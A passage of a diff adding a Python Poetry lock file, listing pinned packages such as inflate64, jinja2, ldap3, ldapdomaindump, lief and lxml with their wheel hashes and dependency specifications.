"sha256:553cd992f02af574d2116c74ca48d7cf10894c6b9ba8159f488f3bfac3c201ae"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:82393e46b8ba2f8613d030f38c7c492b0896ff8803f7ff870677f25d3e5e7113"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:67e37d96ea2ee8257b12cde83a09e4f0276950268a7a2f777aee7de60db5ec72"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:09dd0f8d6dee0da467c264dbd9bca8b33f9c915860fc3385f2a633640a65bd10"}, + {file = "inflate64-0.3.1-cp38-cp38-win32.whl", hash = "sha256:26e8319fd032c520203e2c001f1693c1c03774d85915900427e884011718f41d"}, + {file = "inflate64-0.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:ab8f9e14ba6495f440101751ba8aa371e4a52941b5e343c6f3e8c61021e2df5e"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:094ef56a87c7b7398d93af7bfe7f24f830f24b6e55b77426f6516cef43e05460"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:48fd2527a462374dc19be06301d6aa30a03190532f2f8bddfbc39b7158561750"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fde3f85864c84badb26f42d95639360e627fd09c529a76c46a06dbd7a5735c51"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5efd55c21b794601fd44b99b8e2f17498744f573116ce27a745bc5e08f0457e1"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d71af8b23ac23bc9e9f776451c125be6320ad4589a7d5bcb5ab5e1fc61b4e58f"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ced0af509a31dcba0cd98ecdd06cb7c9ce66ebde78e0d99ba3515d4e991e34d0"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:853f3442eceda8035072686533694ab833c4293d10c9d0685147200f0e964356"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:a6bec3d2f30f6f2656e1c5a4147181e401c8d7026cd598d86ad5647c616fc618"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:84287d1d09fd879353d3ccadd43f3d8adea75e830476ddfd46d8849d36d25afe"}, + {file = "inflate64-0.3.1-cp39-cp39-win32.whl", hash = "sha256:a2f4aaa02f9a5ada944960428b6528a0a9d773925efc73485882f34bf42654be"}, + {file = "inflate64-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:6ff89f94823b2466bae45759fc324bd25bd20c490607a7d8407237cf64ccafa9"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1faf43890dbfff31195f5d59e37e49824f5ff4be77d67f7144a6b953bbde51c"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1749da3a02b53035cde1cf95f885e78e0c2c49b201e97d368b3ba97e0f3d42c3"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17aaac096f40bd80dd72481831607a0846271d401ba3cd863386b8c244c7ebc1"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4d807cfa9ddad940401ef04502eb367a77f569850f59c2e71670347d558a3830"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b7aa123c740f2f9798f72873e50d7c6d43664d12cad7a1405296079987bdb04a"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:91233b5300bbb7562804c3d07617e9ce2983e8434218991db98ef175491e417f"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:525bc309d8533ef9917e006284996ee7a9a71ac6dd19fb57c0f741ad0c805d4f"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90f95b92d0f672d11151cb964964d1723e2e3ce3a19d32d24aece1acdec1e287"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:41504988023042452d2d84e4110c9ef4ff8ebd33cb90ba83e44b92c9a6753c43"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3c270d373ca3717dbeb9b171eea53cbf2c9d7471b9b5de1e57f165e60cf58037"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac60868745f7bfbcd615329fbdc35997fa36043ce358a1c64d229ef448ebecf0"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d881b605b7448be451f02c59128dc5fac262dbd0dcff4638e702dc8c7bbb8ef0"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd04764d0bb830414788cae897d082bf6ad92324e571a5511bd7e1de4a0cdc67"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1987bbc482aa3e2e7fb72c70b22483cfaed3dbebc5ba6f9ac6f75240794709b"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:4e7b0a598adaa11366ffbbb7b3d3110db29edd4b732d9336570891363b22b002"}, + {file = "inflate64-0.3.1.tar.gz", hash = "sha256:b52dd8fefd2ba179e5dfa18d6eca7e2fc822584616271c039d5ef1f9ca90c71c"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "flake8-deprecated", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine"] +docs = ["docutils", "sphinx (>=5.0)"] +test = ["pyannotate", "pytest"] + +[[package]] +name = "iniconfig" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, +] + +[[package]] +name = "itsdangerous" +version = "2.1.2" +description = "Safely pass data to untrusted environments and back." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "itsdangerous-2.1.2-py3-none-any.whl", hash = "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44"}, + {file = "itsdangerous-2.1.2.tar.gz", hash = "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"}, +] + +[[package]] +name = "jinja2" +version = "3.1.2" +description = "A very fast and expressive template engine." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"}, + {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jmespath" +version = "1.0.1" +description = "JSON Matching Expressions" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, +] + +[[package]] +name = "joblib" +version = "1.2.0" +description = "Lightweight pipelining with Python functions" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "joblib-1.2.0-py3-none-any.whl", hash = "sha256:091138ed78f800342968c523bdde947e7a305b8594b910a0fea2ab83c3c6d385"}, + {file = "joblib-1.2.0.tar.gz", hash = "sha256:e1cee4a79e4af22881164f218d4311f60074197fb707e082e803b61f6d137018"}, +] + +[[package]] +name = "jsonlines" +version = "3.1.0" +description = "Library with helpers for the jsonlines file format" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "jsonlines-3.1.0-py3-none-any.whl", hash = "sha256:632f5e38f93dfcb1ac8c4e09780b92af3a55f38f26e7c47ae85109d420b6ad39"}, + {file = "jsonlines-3.1.0.tar.gz", hash = "sha256:2579cb488d96f815b0eb81629e3e6b0332da0962a18fa3532958f7ba14a5c37f"}, +] + +[package.dependencies] +attrs = ">=19.2.0" + +[[package]] +name = "ldap3" +version = "2.9.1" +description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, + {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, +] + +[package.dependencies] +pyasn1 = ">=0.4.6" + +[[package]] +name = "ldapdomaindump" +version = "0.9.4" +description = "Active Directory information dumper via LDAP" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, + {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, + {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, +] + +[package.dependencies] +dnspython = "*" +future = "*" +ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" + +[[package]] +name = "lief" +version = "0.12.3" +description = "Library to instrument executable formats" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "lief-0.12.3-cp310-cp310-macosx_10_14_arm64.whl", hash = "sha256:66724f337e6a36cea1a9380f13b59923f276c49ca837becae2e7be93a2e245d9"}, + {file = "lief-0.12.3-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:6d18aafa2028587c98f6d4387bec94346e92f2b5a8a5002f70b1cf35b1c045cc"}, + {file = "lief-0.12.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f69d125caaa8d5ddb574f29cc83101e165ebea1a9f18ad042eb3544081a797"}, + {file = "lief-0.12.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c078d6230279ffd3bca717c79664fb8368666f610b577deb24b374607936e9c1"}, + {file = "lief-0.12.3-cp310-cp310-win32.whl", hash = "sha256:e3a6af926532d0aac9e7501946134513d63217bacba666e6f7f5a0b7e15ba236"}, + {file = "lief-0.12.3-cp310-cp310-win_amd64.whl", hash = "sha256:0750b72e3aa161e1fb0e2e7f571121ae05d2428aafd742ff05a7656ad2288447"}, + {file = "lief-0.12.3-cp311-cp311-macosx_10_14_arm64.whl", hash = "sha256:b5c123cb99a7879d754c059e299198b34e7e30e3b64cf22e8962013db0099f47"}, + {file = "lief-0.12.3-cp311-cp311-macosx_10_14_x86_64.whl", hash = "sha256:8bc58fa26a830df6178e36f112cb2bbdd65deff593f066d2d51434ff78386ba5"}, + {file = "lief-0.12.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:74ac6143ac6ccd813c9b068d9c5f1f9d55c8813c8b407387eb57de01c3db2d74"}, + {file = "lief-0.12.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:04eb6b70d646fb5bd6183575928ee23715550f161f2832cbcd8c6ff2071fb408"}, + {file = "lief-0.12.3-cp311-cp311-win32.whl", hash = "sha256:7e2d0a53c403769b04adcf8df92e83c5e25f9103a052aa7f17b0a9cf057735fb"}, + {file = "lief-0.12.3-cp311-cp311-win_amd64.whl", hash = "sha256:7f6395c12ee1bc4a5162f567cba96d0c72dfb660e7902e84d4f3029daf14fe33"}, + {file = "lief-0.12.3-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:71327fdc764fd2b1f3cd371d8ac5e0b801bde32b71cfcf7dccee506d46768539"}, + {file = "lief-0.12.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d320fb80ed5b42b354b8e4f251ab05a51929c162c57c377b5e95ad4b1c1b415d"}, + {file = "lief-0.12.3-cp36-cp36m-win32.whl", hash = "sha256:176fa6c342dd480195cda34a20f62ac76dfae103b22ca7583b762e0b434ee1f3"}, + {file = "lief-0.12.3-cp36-cp36m-win_amd64.whl", hash = "sha256:3a18fe108fb82a2640864deef933731afe77413b1226551796ef2c373a1b3a2a"}, + {file = "lief-0.12.3-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:c73e990cd2737d1060b8c1e8edcc128832806995b69d1d6bf191409e2cea7bde"}, + {file = "lief-0.12.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:5fa2b1c8ffe47ee66b2507c2bb4e3fd628965532b7888c0627d10e690b5ef20c"}, + {file = "lief-0.12.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f224e9a261e88099f86160f121d088d30894c2946e3e551cf11c678daadcf2b"}, + {file = "lief-0.12.3-cp37-cp37m-win32.whl", hash = "sha256:3481d7c9fb3d3a1acff53851f40efd1a5a05d354312d367294bc2e310b736826"}, + {file = "lief-0.12.3-cp37-cp37m-win_amd64.whl", hash = "sha256:4e5173e1be5ebf43594f4eb187cbcb04758761942bc0a1e685ea1cb9047dc0d9"}, + {file = "lief-0.12.3-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:54d6a45e01260b9c8bf1c99f58257cff5338aee5c02eacfeee789f9d15cf38c6"}, + {file = "lief-0.12.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:4501dc399fb15dc7a3c8df4a76264a86be6d581d99098dafc3a67626149d8ff1"}, + {file = "lief-0.12.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c848aadac0816268aeb9dde7cefdb54bf24f78e664a19e97e74c92d3be1bb147"}, + {file = "lief-0.12.3-cp38-cp38-win32.whl", hash = "sha256:d7e35f9ee9dd6e79add3b343f83659b71c05189e5cb224e02a1902ddc7654e96"}, + {file = "lief-0.12.3-cp38-cp38-win_amd64.whl", hash = "sha256:b00667257b43e93d94166c959055b6147d46d302598f3ee55c194b40414c89cc"}, + {file = "lief-0.12.3-cp39-cp39-macosx_10_14_arm64.whl", hash = "sha256:e6a1b5b389090d524621c2455795e1262f62dc9381bedd96f0cd72b878c4066d"}, + {file = "lief-0.12.3-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:ae773196df814202c0c51056163a1478941b299512b09660a3c37be3c7fac81e"}, + {file = "lief-0.12.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:66ddf88917ec7b00752687c476bb2771dc8ec19bd7e4c0dcff1f8ef774cad4e9"}, + {file = "lief-0.12.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:4a47f410032c63ac3be051d963d0337d6b47f0e94bfe8e946ab4b6c428f4d0f8"}, + {file = "lief-0.12.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbd11367c2259bd1131a6c8755dcde33314324de5ea029227bfbc7d3755871e6"}, + {file = "lief-0.12.3-cp39-cp39-win32.whl", hash = "sha256:2ce53e311918c3e5b54c815ef420a747208d2a88200c41cd476f3dd1eb876bcf"}, + {file = "lief-0.12.3-cp39-cp39-win_amd64.whl", hash = "sha256:446e53ccf0ebd1616c5d573470662ff71ca6df3cd62ec1764e303764f3f03cca"}, + {file = "lief-0.12.3.zip", hash = "sha256:62e81d2f1a827d43152aed12446a604627e8833493a51dca027026eed0ce7128"}, +] + +[[package]] +name = "lxml" +version = "4.9.2" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +files = [ + {file = "lxml-4.9.2-cp27-cp27m-macosx_10_15_x86_64.whl", hash = "sha256:76cf573e5a365e790396a5cc2b909812633409306c6531a6877c59061e42c4f2"}, + {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b1f42b6921d0e81b1bcb5e395bc091a70f41c4d4e55ba99c6da2b31626c44892"}, + {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:9f102706d0ca011de571de32c3247c6476b55bb6bc65a20f682f000b07a4852a"}, + {file = "lxml-4.9.2-cp27-cp27m-win32.whl", hash = "sha256:8d0b4612b66ff5d62d03bcaa043bb018f74dfea51184e53f067e6fdcba4bd8de"}, + {file = "lxml-4.9.2-cp27-cp27m-win_amd64.whl", hash = "sha256:4c8f293f14abc8fd3e8e01c5bd86e6ed0b6ef71936ded5bf10fe7a5efefbaca3"}, + {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2899456259589aa38bfb018c364d6ae7b53c5c22d8e27d0ec7609c2a1ff78b50"}, + {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6749649eecd6a9871cae297bffa4ee76f90b4504a2a2ab528d9ebe912b101975"}, + {file = "lxml-4.9.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:a08cff61517ee26cb56f1e949cca38caabe9ea9fbb4b1e10a805dc39844b7d5c"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:85cabf64adec449132e55616e7ca3e1000ab449d1d0f9d7f83146ed5bdcb6d8a"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8340225bd5e7a701c0fa98284c849c9b9fc9238abf53a0ebd90900f25d39a4e4"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:1ab8f1f932e8f82355e75dda5413a57612c6ea448069d4fb2e217e9a4bed13d4"}, + {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:699a9af7dffaf67deeae27b2112aa06b41c370d5e7633e0ee0aea2e0b6c211f7"}, + {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b9cc34af337a97d470040f99ba4282f6e6bac88407d021688a5d585e44a23184"}, + {file = "lxml-4.9.2-cp310-cp310-win32.whl", hash = "sha256:d02a5399126a53492415d4906ab0ad0375a5456cc05c3fc0fc4ca11771745cda"}, + {file = "lxml-4.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:a38486985ca49cfa574a507e7a2215c0c780fd1778bb6290c21193b7211702ab"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:c83203addf554215463b59f6399835201999b5e48019dc17f182ed5ad87205c9"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:2a87fa548561d2f4643c99cd13131acb607ddabb70682dcf1dff5f71f781a4bf"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:d6b430a9938a5a5d85fc107d852262ddcd48602c120e3dbb02137c83d212b380"}, + {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3efea981d956a6f7173b4659849f55081867cf897e719f57383698af6f618a92"}, + {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:df0623dcf9668ad0445e0558a21211d4e9a149ea8f5666917c8eeec515f0a6d1"}, + {file = "lxml-4.9.2-cp311-cp311-win32.whl", hash = "sha256:da248f93f0418a9e9d94b0080d7ebc407a9a5e6d0b57bb30db9b5cc28de1ad33"}, + {file = "lxml-4.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:3818b8e2c4b5148567e1b09ce739006acfaa44ce3156f8cbbc11062994b8e8dd"}, + {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ca989b91cf3a3ba28930a9fc1e9aeafc2a395448641df1f387a2d394638943b0"}, + {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:822068f85e12a6e292803e112ab876bc03ed1f03dddb80154c395f891ca6b31e"}, + {file = "lxml-4.9.2-cp35-cp35m-win32.whl", hash = "sha256:be7292c55101e22f2a3d4d8913944cbea71eea90792bf914add27454a13905df"}, + {file = "lxml-4.9.2-cp35-cp35m-win_amd64.whl", hash = "sha256:998c7c41910666d2976928c38ea96a70d1aa43be6fe502f21a651e17483a43c5"}, + {file = "lxml-4.9.2-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:b26a29f0b7fc6f0897f043ca366142d2b609dc60756ee6e4e90b5f762c6adc53"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:ab323679b8b3030000f2be63e22cdeea5b47ee0abd2d6a1dc0c8103ddaa56cd7"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:689bb688a1db722485e4610a503e3e9210dcc20c520b45ac8f7533c837be76fe"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:f49e52d174375a7def9915c9f06ec4e569d235ad428f70751765f48d5926678c"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:36c3c175d34652a35475a73762b545f4527aec044910a651d2bf50de9c3352b1"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a35f8b7fa99f90dd2f5dc5a9fa12332642f087a7641289ca6c40d6e1a2637d8e"}, + {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:58bfa3aa19ca4c0f28c5dde0ff56c520fbac6f0daf4fac66ed4c8d2fb7f22e74"}, + {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:bc718cd47b765e790eecb74d044cc8d37d58562f6c314ee9484df26276d36a38"}, + {file = "lxml-4.9.2-cp36-cp36m-win32.whl", hash = "sha256:d5bf6545cd27aaa8a13033ce56354ed9e25ab0e4ac3b5392b763d8d04b08e0c5"}, + {file = "lxml-4.9.2-cp36-cp36m-win_amd64.whl", hash = "sha256:3ab9fa9d6dc2a7f29d7affdf3edebf6ece6fb28a6d80b14c3b2fb9d39b9322c3"}, + {file = "lxml-4.9.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:05ca3f6abf5cf78fe053da9b1166e062ade3fa5d4f92b4ed688127ea7d7b1d03"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:a5da296eb617d18e497bcf0a5c528f5d3b18dadb3619fbdadf4ed2356ef8d941"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:04876580c050a8c5341d706dd464ff04fd597095cc8c023252566a8826505726"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:c9ec3eaf616d67db0764b3bb983962b4f385a1f08304fd30c7283954e6a7869b"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2a29ba94d065945944016b6b74e538bdb1751a1db6ffb80c9d3c2e40d6fa9894"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a82d05da00a58b8e4c0008edbc8a4b6ec5a4bc1e2ee0fb6ed157cf634ed7fa45"}, + {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:223f4232855ade399bd409331e6ca70fb5578efef22cf4069a6090acc0f53c0e"}, + {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d17bc7c2ccf49c478c5bdd447594e82692c74222698cfc9b5daae7ae7e90743b"}, + {file = "lxml-4.9.2-cp37-cp37m-win32.whl", hash = "sha256:b64d891da92e232c36976c80ed7ebb383e3f148489796d8d31a5b6a677825efe"}, + {file = "lxml-4.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:a0a336d6d3e8b234a3aae3c674873d8f0e720b76bc1d9416866c41cd9500ffb9"}, + {file = "lxml-4.9.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:da4dd7c9c50c059aba52b3524f84d7de956f7fef88f0bafcf4ad7dde94a064e8"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:821b7f59b99551c69c85a6039c65b75f5683bdc63270fec660f75da67469ca24"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:e5168986b90a8d1f2f9dc1b841467c74221bd752537b99761a93d2d981e04889"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:8e20cb5a47247e383cf4ff523205060991021233ebd6f924bca927fcf25cf86f"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:13598ecfbd2e86ea7ae45ec28a2a54fb87ee9b9fdb0f6d343297d8e548392c03"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:880bbbcbe2fca64e2f4d8e04db47bcdf504936fa2b33933efd945e1b429bea8c"}, + {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7d2278d59425777cfcb19735018d897ca8303abe67cc735f9f97177ceff8027f"}, + {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5344a43228767f53a9df6e5b253f8cdca7dfc7b7aeae52551958192f56d98457"}, + {file = "lxml-4.9.2-cp38-cp38-win32.whl", hash = "sha256:925073b2fe14ab9b87e73f9a5fde6ce6392da430f3004d8b72cc86f746f5163b"}, + {file = "lxml-4.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:9b22c5c66f67ae00c0199f6055705bc3eb3fcb08d03d2ec4059a2b1b25ed48d7"}, + {file = "lxml-4.9.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5f50a1c177e2fa3ee0667a5ab79fdc6b23086bc8b589d90b93b4bd17eb0e64d1"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:090c6543d3696cbe15b4ac6e175e576bcc3f1ccfbba970061b7300b0c15a2140"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:63da2ccc0857c311d764e7d3d90f429c252e83b52d1f8f1d1fe55be26827d1f4"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:5b4545b8a40478183ac06c073e81a5ce4cf01bf1734962577cf2bb569a5b3bbf"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2e430cd2824f05f2d4f687701144556646bae8f249fd60aa1e4c768ba7018947"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6804daeb7ef69e7b36f76caddb85cccd63d0c56dedb47555d2fc969e2af6a1a5"}, + {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = 